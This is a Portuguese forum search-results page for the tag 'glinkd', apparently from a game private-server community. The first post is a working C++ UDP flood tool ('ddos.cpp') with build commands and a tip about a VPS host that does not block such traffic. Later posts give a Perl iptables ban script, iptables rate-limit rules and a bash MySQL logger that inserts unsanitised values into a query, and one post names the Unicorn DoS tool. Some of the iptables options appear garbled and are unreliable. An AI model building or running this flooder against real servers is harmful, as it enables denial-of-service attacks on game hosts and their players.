Pesquisar na Comunidade
Mostrando resultados para as tags ''glinkd''.
Encontrado 5 registros
-
Dependências sudo dnf install gcc-c++ glibc-devel make Compilar o código g++ ddos.cpp -o ddos -lpthread ./ddos VPS sem bloqueio: idconline.vn #include <iostream> #include <chrono> #include <thread> #include <cstring> #include <vector> #include <arpa/inet.h> #include <sys/socket.h> #include <unistd.h> #define PORT 29000 #define PACKET_SIZE 1024 // Paket boyutu (bayt cinsinden) #define PACKETS_PER_CYCLE 500 // Döngü başına gönderilecek paket sayısı #define CYCLE_DURATION 0.1 // Döngü süresi (milisaniye cinsinden) #define TOTAL_HOURS 5 // Çalışma süresi (saat cinsinden) #define TIMEOUT_SECONDS 10 // Bağlantı zaman aşımı süresi (saniye cinsinden) // Paketleri belirtilen IP'ye gönderen fonksiyon void send_packets(int sockfd, struct sockaddr_in& server_addr) { char packet[PACKET_SIZE]; memset(packet, 'A', PACKET_SIZE); for (int i = 0; i < PACKETS_PER_CYCLE; ++i) { sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)); } } int main() { // Hedef IP adresleri std::vector<std::string> ips = {"127.0.0.1", "127.0.0.2", "127.0.0.3", "127.0.0.4", "127.0.0.1"}; std::vector<int> sockets; std::vector<struct sockaddr_in> server_addrs; // Her IP için bir soket oluştur ve yapılandır for (const auto& ip : ips) { int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { std::cerr << "Soket oluşturulurken hata: " << ip << std::endl; continue; } struct timeval timeout; timeout.tv_sec = TIMEOUT_SECONDS; timeout.tv_usec = 0; setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(PORT); inet_pton(AF_INET, ip.c_str(), &server_addr.sin_addr); sockets.push_back(sockfd); server_addrs.push_back(server_addr); } auto start_time = std::chrono::steady_clock::now(); auto end_time = start_time + std::chrono::hours(TOTAL_HOURS); // Belirtilen süre boyunca paket gönder while (std::chrono::steady_clock::now() < end_time) { for (size_t i = 0; i < sockets.size(); ++i) { send_packets(sockets[i], server_addrs[i]); } std::this_thread::sleep_for(std::chrono::microseconds(static_cast<int>(CYCLE_DURATION * 1000))); } // Soketleri kapat for (int sockfd : sockets) { close(sockfd); } return 0; }
-
#!/usr/bin/perl use strict; use warnings; use POSIX ":sys_wait_h"; use Socket; use IO::Handle; my $limite_conexoes = 50; my $tempo_bloqueio = 4 * 3600; my %conexoes_por_ip; my $arquivo_ban = "ban.txt"; system("iptables -F"); system("iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT"); system("iptables -A INPUT -j DROP"); system("iptables -A INPUT -p tcp --syn -m connlimit --connlimit-above $limite_conexoes -j REJECT --reject-with tcp-reset"); my $socket; socket($socket, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die ": $!"; setsockopt($socket, SOL_SOCKET, SO_REUSEADDR, 1) or die ": $!"; my $endereco = sockaddr_in(0, INADDR_ANY); bind($socket, $endereco) or die ": $!"; listen($socket, SOMAXCONN) or die ": $!"; while (1) { my $cliente = accept(NOVACONEXAO, $socket); my ($porta_cliente, $endereco_cliente) = sockaddr_in($cliente); my $ip_cliente = inet_ntoa($endereco_cliente); $conexoes_por_ip{$ip_cliente}++; if ($conexoes_por_ip{$ip_cliente} > $limite_conexoes) { bloquear_ip($ip_cliente); } print "Conexão de $ip_cliente na porta $porta_cliente aceita.\n"; close(NOVACONEXAO); } close($socket); sub bloquear_ip { my $ip = shift; open(my $ban_fh, '>>', $arquivo_ban) or die "Não foi possível abrir o arquivo $arquivo_ban: $!"; print $ban_fh "$ip\n"; close($ban_fh); system("iptables -A INPUT -s $ip -j DROP"); print "IP $ip bloqueado por $tempo_bloqueio segundos.\n"; sleep($tempo_bloqueio); system("iptables -D INPUT -s $ip -j DROP"); print "IP $ip desbloqueado.\n"; } DDOS Simulado com a ferramenta:Unicorn is a Win32 UDP flooding/DoS (Denial of Service)
-
Como separo "Glinkd" em uma máquina separada? porque tentei fazer isso, mas minha conta foi desconectada após 30 segundos
-
Caso esse limite seja ultrapassado, bloqueia o HWID (identificação única do hardware) e registra informações sobre o IP, quantidade de pacotes enviados e a data Instale o iptables-persistent e o pacote mysql-client sudo apt-get update sudo apt-get install iptables-persistent mysql-client Carregue o módulo xt_recent sudo modprobe xt_recent Regras do iptables sudo iptables -N HWID_BLOCK sudo iptables -A HWID_BLOCK -m recent --name HWID --set --mask 255.255.255.255 --rsource sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 86400 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 sudo iptables -A INPUT -p tcp --dport 29000 -m connlimit --connlimit-above 25 --connlimit-mask 0 -j HWID_BLOCK sudo iptables-save | sudo tee /etc/iptables/rules.v4 Crie um script para salvar as informações no MySQL. Por exemplo, crie o arquivo /usr/local/bin/save_to_mysql.sh com o seguinte conteúdo Não se esqueça de criar um banco de dados chamado 'connections' #!/bin/bash IP_ADDRESS=$1 PACKETS=$2 DATE=$(date +"%Y-%m-%d %H:%M:%S") mysql -u <username> -p<password> -e "INSERT INTO connections (ip_address, packets, date) VALUES ('$IP_ADDRESS', '$PACKETS', '$DATE');" <database> Dê permissão de execução ao script sudo chmod +x /usr/local/bin/save_to_mysql.sh Adicione uma regra no iptables para chamar o script quando o limite de conexões for excedido. No exemplo abaixo, assumimos que o script está localizado em /usr/local/bin/save_to_mysql.sh: sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 --nflog-cprange 128 --nflog
- 1 resposta
-
- 80
-
-
-
-
-
-